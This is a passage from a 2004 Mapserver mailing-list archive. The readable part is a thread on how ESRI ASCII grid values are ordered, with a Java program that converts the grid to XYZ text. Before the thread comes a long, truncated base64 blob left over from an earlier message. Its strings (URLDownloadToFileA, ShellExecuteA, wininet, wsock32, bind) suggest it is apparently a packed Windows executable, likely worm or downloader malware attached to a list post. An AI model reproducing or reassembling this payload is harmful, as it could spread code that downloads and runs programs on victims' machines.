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 94A/AHXyiweKXwRmwegIwcAQhsQp+IDr6AHwiQeDxwWJ2OLZjb4AwAAAiwcJwHQ8i18EjYQw pOMAAAHzUIPHCP+WgOQAAJWKB0cIwHTciflXSPKuVf+WhOQAAAnAdAeJA4PDBOvh/5aI5AAA YekEbP//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAMAAAAgAACADgAAAGAAAIAAAAAA AAAAAAAAAAAAAAEAAQAAADgAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAFAAAACk8AAA6AIAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAABAAEAAAB4AACAAAAAAAAAAAAAAAAAAAABAAAAAACQAAAA kPMAABQAAAAAAAAAAAAAAKDAAAAoAAAAIAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAICAgADAwMAAAAD/AAD/AAAA//8A /wAAAP8A/wD//wAA////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHd3d3 d3d3AAAAAAAAAAAAB4iIiIiIhwAAAAAAAAAAAAc4iDM4iDcAAAAAAAAAAAAHs4MAA4OHAAAA AAAAAAAAB/8w/7A4hwAAAAAAAAAAAAe4D7//A4cAAAAAAAAAAAAHgL//v/A3AAAAAAAAAAAA Bw//v/+/AwAAAAAAAAAAAAf/v/+//7AAAAAAAAAAAAAHd3d3d3d3AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//////////////// //////////////////////////////////////////////////////////////////////// ////////gAH//4AB//+AAf//gAH//4AB//+AAf//gAH//4AB//+AAf//gAH//4AB//////// //////////+IwwAAAAABAAEAICAQAAEABADoAgAAAQAAAAAAAAAAAAAAAADY9AAAgPQAAAAA AAAAAAAAAAAAAOX0AACQ9AAAAAAAAAAAAAAAAAAA8vQAAJj0AAAAAAAAAAAAAAAAAAD89AAA oPQAAAAAAAAAAAAAAAAAAAb1AACo9AAAAAAAAAAAAAAAAAAAEvUAALD0AAAAAAAAAAAAAAAA AAAe9QAAuPQAAAAAAAAAAAAAAAAAACn1AADA9AAAAAAAAAAAAAAAAAAANPUAAMj0AAAAAAAA AAAAAAAAAABA9QAA0PQAAAAAAAAAAAAAAAAAAAAAAAAAAAAATPUAAFr1AABq9QAAAAAAAHj1 AAAAAAAAhvUAAAAAAACQ9QAAAAAAAJ71AAAAAAAArvUAAAAAAAC49QAAAAAAAMz1AAAAAAAA 2PUAAAAAAADo9QAAAAAAAEtFUk5FTDMyLkRMTABhZHZhcGkzMi5kbGwAZ2RpMzIuZGxsAG9s ZTMyLmRsbABTSEVMTDMyLmRsbABzaGx3YXBpLmRsbAB1cmxtb24uZGxsAHVzZXIzMi5kbGwA d2luaW5ldC5kbGwAd3NvY2szMi5kbGwAAABMb2FkTGlicmFyeUEAAEdldFByb2NBZGRyZXNz AABFeGl0UHJvY2VzcwAAAFJlZ0Nsb3NlS2V5AAAARGVsZXRlREMAAENvSW5pdGlhbGl6ZQAA U2hlbGxFeGVjdXRlQQAAAFN0ckR1cEEAAABVUkxEb3dubG9hZFRvRmlsZUEAAHdzcHJpbnRm QQAAAEludGVybmV0T3BlbkEAAABiaW5kAAAAAAAAAAAAAAAAAAAAAAAALrSPdiJ9Xjm2lGGV tZe3RKp/u5c5ECquPZaeenhFAb4uwb6wuye4oSWrph9mWmlSqRB8bYdoU469ZRCAfykoiFMX bypldZ5gVHEOLBzDIb0PA1cLDgmncT9Sl2tCHDI5GC9fWDkxEDmgkqZ6bHCbxltqJSuvk6WL XxAbcYVin4gLKQRHoKsQdhA/IgORE3QrWitsC2q4SRxiZV4UYDNTUTyRCYBHYijHGziLS45I JnJRYMaqL18RNTi2CHt0W38DXH1flKerAFlyQzOjVK5OrXAQDrGJX0hpOqFPj0CvIlzDfXs9 rS+9a6gkgm23sju+SA69NXSAnSQWt39JYUEaboq7pE1WLZDDsXtLSgxapwVghUoOG8OoaBZ+ VS8dmRQ6sFFbcHpgc4RRZQFWo6tLwWh1Bap9RCdHnw+4eJ9GkV5ovYZ9lm4cq8AInxuBjSK4 RW6ePSosowldSpFaxKmsX2Y5s36yxCZnNXcac6iyZcFqfX9Ed2mEI5EpohJzuQpee0sNpbC8 FgOuj30Ylyl4qoUVs1+Fo3c3TVtJSUWXvE2yL4tsvLajYGeQNaGxRUU8YU6gaYaXe2u5bgm1 mTKxrzUeXhiXkneoejpjqC2ifSippVGKKZ04IAw0xqcAualqZKLBEQsEhiqeJG27EjOEI6UE fVSdoLcMf75DL6MvPTmJDsQYLWGSXYtfP4ugd1MsuxY0eamgXQaoMGpOcFyvFUyEoHxEuIKl vR+VAAKpE3+Kqrt/V6tiXKOME2fHWU+uphEoFgFxo54Jc1kykLEnNkhvS1NejZOEZXqGUBt/ a1doJDWvTK7DB8eLjDqAuhyJuX9QWW1rHKpMDWMUhAOJKMaJZqd+Ex1Uk4wCkaFFpKhDUC6l w0keToMqxZAxdU5sSDWrLxK0Cw0JigRcITRhakhtGgIeAjO2BaSyFlhuFiGtQ6YXIxVAgBgA wCiKZ7S9kWgxTKScdZoHaioltXzCCy3ADqQcb7KqTBOwVmUiTE2CJUkVfbB9W3R5alQ7lFCu l7lYeg+TCDRytxBAqpaQWgUFd2xTDop/ZaodIHcpmyQLDivAfS5JU7RMWwd3gKlhrwaun5RI piigk3a8Jh51cqWiJCQnP2wpiCCXnGFpUQxIrXdRObBjFBPERJ4ZASslVH5BHk2hNbUJOQAZ hTOuWxy2aUefmYhInDVksAOxs4BEjoMYCcJulGl4FiJOf0ZyDCYrblRir2peiIQPJmO/pjpc upCJnpVfPQmQfUxDowesB6MCPB1EnS1oF18nYXClXVFFvZGZO52QYWmndKFP ----------bozblqxafconubtwqxru-- From braup at nsidc.org Tue Jun 22 16:19:26 2004 From: braup at nsidc.org (Bruce Raup) Date: Tue, 22 Jun 2004 17:19:26 -0600 (MDT) Subject: [Mapserver-users] ESRI Ascii grid format... In-Reply-To: <1087938800.40d8a0f035d97@www.agi-lan.com> References: <1087938800.40d8a0f035d97@www.agi-lan.com> Message-ID: On 2004-06-22 15:13 -0600, Jason M. Nielsen wrote: > I have some ascii files dumped as the AAIGRID format from gdal. These are esri > ascii grids. > > The format appears simple: > ncols 98 > nrows 172 > xllcorner 1044355.808370659710 > yllcorner 10042832.567399607971 > cellsize 91.442854747403 > *then the z values are listed for each line* > > Problem is I dont know which friggin way these go. I tried left to right > starting lower left and incrementing x and y. I end up with skewed data. > > Does anyone know where I can get the specs on this format that explicitly > explain in thorough detail how its formated? I'm pretty sure the first z-value is the upper-left corner of the grid, and that it proceeds left-to-right, then down. I have used GMT (Generic Mapping Tools (http://gmt.soest.hawaii.edu/)) to handle such files, and had success using these assumptions. Sorry, but I don't know where the specs are. Bruce -- Bruce Raup Phone: 303-492-8814 National Snow and Ice Data Center, U. of Colorado, 449 UCB, Boulder, CO 80309 http://cires.colorado.edu/~braup/ From jacob.delfos at maunsell.com Tue Jun 22 17:49:23 2004 From: jacob.delfos at maunsell.com (Delfos, Jacob) Date: Wed, 23 Jun 2004 10:49:23 +1000 Subject: [Mapserver-users] ESRI Ascii grid format... Message-ID: This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_000_01C458BB.ED6B0900 Content-Type: text/plain It's a bit tricky. You cannot always go on a 'line by line' basis. It tells you how many values per line, and after that it just dumps the values in consecutive order. It's for you to decide when to go to the new line (based on the number of values per line). I think the linefeed comes after a fixed number of values, irrespective of whether it's reached the end of the data row yet. I had a headache with this once, so I wrote a JAVA program to convert it to XYZ delimited ascii. Just type "java Contour [inputfile] [outputfile]" at the commandline. Regards, Jacob -----Original Message----- From: Bruce Raup [mailto:braup at nsidc.org] Sent: Wednesday, 23 June 2004 7:19 AM To: Jason M. Nielsen Cc: mapserver-users at lists.gis.umn.edu Subject: Re: [Mapserver-users] ESRI Ascii grid format... On 2004-06-22 15:13 -0600, Jason M. Nielsen wrote: > I have some ascii files dumped as the AAIGRID format from gdal. These > are esri ascii grids. > > The format appears simple: > ncols 98 > nrows 172 > xllcorner 1044355.808370659710 > yllcorner 10042832.567399607971 > cellsize 91.442854747403 > *then the z values are listed for each line* > > Problem is I dont know which friggin way these go. I tried left to > right starting lower left and incrementing x and y. I end up with > skewed data. > > Does anyone know where I can get the specs on this format that > explicitly explain in thorough detail how its formated? I'm pretty sure the first z-value is the upper-left corner of the grid, and that it proceeds left-to-right, then down. I have used GMT (Generic Mapping Tools (http://gmt.soest.hawaii.edu/)) to handle such files, and had success using these assumptions. Sorry, but I don't know where the specs are. Bruce -- Bruce Raup Phone: 303-492-8814 National Snow and Ice Data Center, U. of Colorado, 449 UCB, Boulder, CO 80309 http://cires.colorado.edu/~braup/ _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users ------_=_NextPart_000_01C458BB.ED6B0900 Content-Type: application/octet-stream; name="Contour.java" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="Contour.java" import java.io.*; import java.util.*; public class Contour { public static double leftX; public static double lowY; public static double rightX; public static double highY; public static int numRows; public static int numCols; public static String inFile; public static String outFile; public static double [][] datagrid; public static double Xspacing; public static double Yspacing; public static void main (String args[]) { try { inFile =3D args[0]; outFile =3D args[1]; //leftX =3D Double.parseDouble(args[2]); //lowY =3D Double.parseDouble(args[3]); //rightX =3D Double.parseDouble(args[4]); //highY =3D Double.parseDouble(args[5]); readFile(); writeFile(); } catch (Exception e) { System.out.println("Usage: \n\n java Contour [inputfile] = [outputfile] "); } } public static void readFile () { String readString =3D ""; StringTokenizer token; String dataOutput =3D ""; String tempNum =3D ""; try { RandomAccessFile inputFile =3D new RandomAccessFile (inFile,"r"); //inputFile.readLine(); System.out.println("opened file"); readString =3D inputFile.readLine(); token =3D new StringTokenizer(readString, "\n\r "); token.nextToken(); numCols =3D Integer.parseInt(token.nextToken()); readString =3D inputFile.readLine(); token =3D new StringTokenizer(readString, "\n\r "); token.nextToken(); numRows =3D Integer.parseInt(token.nextToken()); System.out.println(numCols); System.out.println(numRows); readString =3D inputFile.readLine(); token =3D new StringTokenizer(readString, "\n\r "); token.nextToken(); leftX =3D Double.parseDouble(token.nextToken()); readString =3D inputFile.readLine(); token =3D new StringTokenizer(readString, "\n\r "); token.nextToken(); lowY =3D Double.parseDouble(token.nextToken()); readString =3D inputFile.readLine(); token =3D new StringTokenizer(readString, "\n\r "); token.nextToken(); Xspacing =3D Double.parseDouble(token.nextToken()); Yspacing =3D Xspacing; inputFile.readLine(); rightX =3D leftX + (numCols-1) * Xspacing; highY =3D lowY + (numRows-1) * Yspacing; System.out.println(numCols); System.out.println(numRows); while ((readString=3DinputFile.readLine()) !=3D null) { dataOutput +=3D readString; } //System.out.println(dataOutput); System.out.println(leftX + "\n" + lowY + "\n" + rightX + "\n" + = highY); datagrid =3D new double[numRows][numCols]; token =3D new StringTokenizer(dataOutput, "\n\r "); for (int i =3D 0; i < numRows; i++) { for (int a =3D 0; a < numCols; a++) { =20 tempNum =3D token.nextToken(); //System.out.println(tempNum); datagrid[i][a] =3D Double.parseDouble(tempNum); //System.out.print(i + ", " + a + " "); //System.out.println(datagrid[i][a]); } } =20 } catch (IOException e) { System.err.println("IO ERROR"); System.exit(0); } } public static void writeFile() { //double Xspacing; //double Yspacing; double Xcord; double Ycord; //Xspacing =3D ((double) rightX - (double) leftX) / (numCols-1); //Yspacing =3D ((double) highY - (double) lowY) / (numRows-1);=20 try { RandomAccessFile outputFile =3D new RandomAccessFile (outFile, = "rw"); outputFile.writeBytes("X,Y,Z\r\n"); for (int i =3D (numRows-1); i >=3D 0; i--) { for (int a =3D 0; a < numCols; a++) {=20 Xcord =3D leftX + (Xspacing * (double) a); Ycord =3D highY - (Yspacing * (double) i); outputFile.writeBytes( (new Double(Xcord)).toString() + ',' + = (new Double (Ycord)).toString() + ',' + (new = Double(datagrid[i][a])).toString() + '\r' + '\n'); } } } catch (IOException e) { System.err.println("IO ERROR"); System.exit(0); } } } ------_=_NextPart_000_01C458BB.ED6B0900 Content-Type: application/octet-stream; name="Contour.class" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Contour.class" yv66vgAAAC4AmAoAMwBNCQAyAE4JADIATwoAMgBQCgAyAFEHAFIJAFMAVAgAVQoAVgBXCABYBwBZ CABaCgALAFsIAFwKAAsAXQcAXggAXwoAEABbCgAQAGAKAGEAYgkAMgBjCQAyAGQKAFYAZQoALgBm CQAyAGcJADIAaAkAMgBpCQAyAGoJADIAawkAMgBsBwBtCgAfAE0KAB8AbgoAHwBvCgAfAHAIAHEH AEAJADIAcgcAcwkAUwB0CAB1CgBTAHYIAHcIAHgKAAsAeQcAegoALgB7CgAuAG8KAB8AfAcAfQcA fgEABWxlZnRYAQABRAEABGxvd1kBAAZyaWdodFgBAAVoaWdoWQEAB251bVJvd3MBAAFJAQAHbnVt Q29scwEABmluRmlsZQEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAB291dEZpbGUBAAhkYXRhZ3JpZAEA A1tbRAEACFhzcGFjaW5nAQAIWXNwYWNpbmcBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51 bWJlclRhYmxlAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAAhyZWFkRmlsZQEACXdy aXRlRmlsZQEAClNvdXJjZUZpbGUBAAxDb250b3VyLmphdmEMAEMARAwAPAA9DAA+AD0MAEkARAwA SgBEAQATamF2YS9sYW5nL0V4Y2VwdGlvbgcAfwwAgACBAQBhVXNhZ2U6IAoKIGphdmEgQ29udG91 ciBbaW5wdXRmaWxlXSBbb3V0cHV0ZmlsZV0gW3NtYWxsZXN0IFhdIFtzbWFsbGVzdCBZXSBbbGFy Z2VzdCBYXSBbbGFyZ2VzdCBZXQcAggwAgwCEAQAAAQAYamF2YS9pby9SYW5kb21BY2Nlc3NGaWxl AQABcgwAQwCFAQALb3BlbmVkIGZpbGUMAIYAhwEAGWphdmEvdXRpbC9TdHJpbmdUb2tlbml6ZXIB AAMKDSAMAIgAhwcAiQwAigCLDAA7ADoMADkAOgwAgwCMDACNAI4MADQANQwANgA1DABBADUMAEIA NQwANwA1DAA4ADUBABZqYXZhL2xhbmcvU3RyaW5nQnVmZmVyDACPAJAMAJEAhwwAjwCSAQABCgwA PwBAAQATamF2YS9pby9JT0V4Y2VwdGlvbgwAkwCBAQAISU8gRVJST1IMAJQAjAEAAnJ3AQAHWCxZ LFoNCgwAlQCEAQAQamF2YS9sYW5nL0RvdWJsZQwAQwCWDACPAJcBAAdDb250b3VyAQAQamF2YS9s YW5nL09iamVjdAEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVh bTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzsp VgEAJyhMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspVgEACHJlYWRMaW5lAQAU KClMamF2YS9sYW5nL1N0cmluZzsBAAluZXh0VG9rZW4BABFqYXZhL2xhbmcvSW50ZWdlcgEACHBh cnNlSW50AQAVKExqYXZhL2xhbmcvU3RyaW5nOylJAQAEKEkpVgEAC3BhcnNlRG91YmxlAQAVKExq YXZhL2xhbmcvU3RyaW5nOylEAQAGYXBwZW5kAQAsKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9s YW5nL1N0cmluZ0J1ZmZlcjsBAAh0b1N0cmluZwEAGyhEKUxqYXZhL2xhbmcvU3RyaW5nQnVmZmVy OwEAA2VycgEABGV4aXQBAAp3cml0ZUJ5dGVzAQAEKEQpVgEAGyhDKUxqYXZhL2xhbmcvU3RyaW5n QnVmZmVyOwAhADIAMwAAAAsACQA0ADUAAAAJADYANQAAAAkANwA1AAAACQA4ADUAAAAJADkAOgAA AAkAOwA6AAAACQA8AD0AAAAJAD4APQAAAAkAPwBAAAAACQBBADUAAAAJAEIANQAAAAQAAQBDAEQA AQBFAAAAHQABAAEAAAAFKrcAAbEAAAABAEYAAAAGAAEAAAAEAAkARwBIAAEARQAAAF4AAgACAAAA IioDMrMAAioEMrMAA7gABLgABacAD0yyAAcSCLYACacAA7EAAQAAABIAFQAGAAEARgAAACIACAAA ABwABgAdAAwAIwAPACQAEgAlABUAKQAeACoAIQAvAAkASQBEAAEARQAAAq0ABgAHAAAByRIKSxIK TRIKTrsAC1myAAISDLcADToEsgAHEg62AAkZBLYAD0u7ABBZKhIRtwASTCu2ABNXK7YAE7gAFLMA FRkEtgAPS7sAEFkqEhG3ABJMK7YAE1crtgATuAAUswAWsgAHsgAVtgAXsgAHsgAWtgAXGQS2AA9L uwAQWSoSEbcAEkwrtgATVyu2ABO4ABizABkZBLYAD0u7ABBZKhIRtwASTCu2ABNXK7YAE7gAGLMA GhkEtgAPS7sAEFkqEhG3ABJMK7YAE1crtgATuAAYswAbsgAbswAcGQS2AA9XsgAZsgAVBGSHsgAb a2OzAB2yABqyABYEZIeyABxrY7MAHrIAB7IAFbYAF7IAB7IAFrYAF6cAFrsAH1m3ACAstgAhKrYA IbYAIk0ZBLYAD1lLx//msgAHuwAfWbcAILIAGbYAIxIktgAhsgAatgAjEiS2ACGyAB22ACMSJLYA IbIAHrYAI7YAIrYACbIAFrIAFcUAJQKzACa7ABBZLBIRtwASTAM2BacAKQM2BqcAGCu2ABNOsgAm FQUyFQYtuAAYUoQGARUGsgAVof/mhAUBFQWyABah/9WnABQ6BLIAKBIptgAJA7gAKqcAA7EAAQAJ AbQBtwAnAAEARgAAAMoAMgAAADUAAwA3AAYAOAAJAD8AFwBCAB8ARAAlAEUAMABGADUARwA/AEkA RQBKAFAASwBVAEwAXwBOAGgATwBxAFEAdwBSAIIAUwCHAFQAkQBWAJcAVwCiAFgApwBZALEAWwC3 AFwAwgBdAMcAXgDRAF8A1wBhAN0AYwDuAGQA/wBmAQgAZwERAGoBFABsAScAagExAHABaAByAXUA dAGAAHYBhgB4AYwAegGRAHwBngB4AakAdgG0AIgBtwCMAcEAjQHFAI4ByACPAAkASgBEAAEARQAA AQ4ABgAHAAAAursAC1myAAMSK7cADToEGQQSLLYALbIAFgRkNgWnAIQDNganAHOyABmyABsVBodr Y0eyAB6yABwVBYdrZ0kZBLsAH1m3ACC7AC5ZJrcAL7YAMLYAIRAstgAxuwAuWSi3AC+2ADC2ACEQ 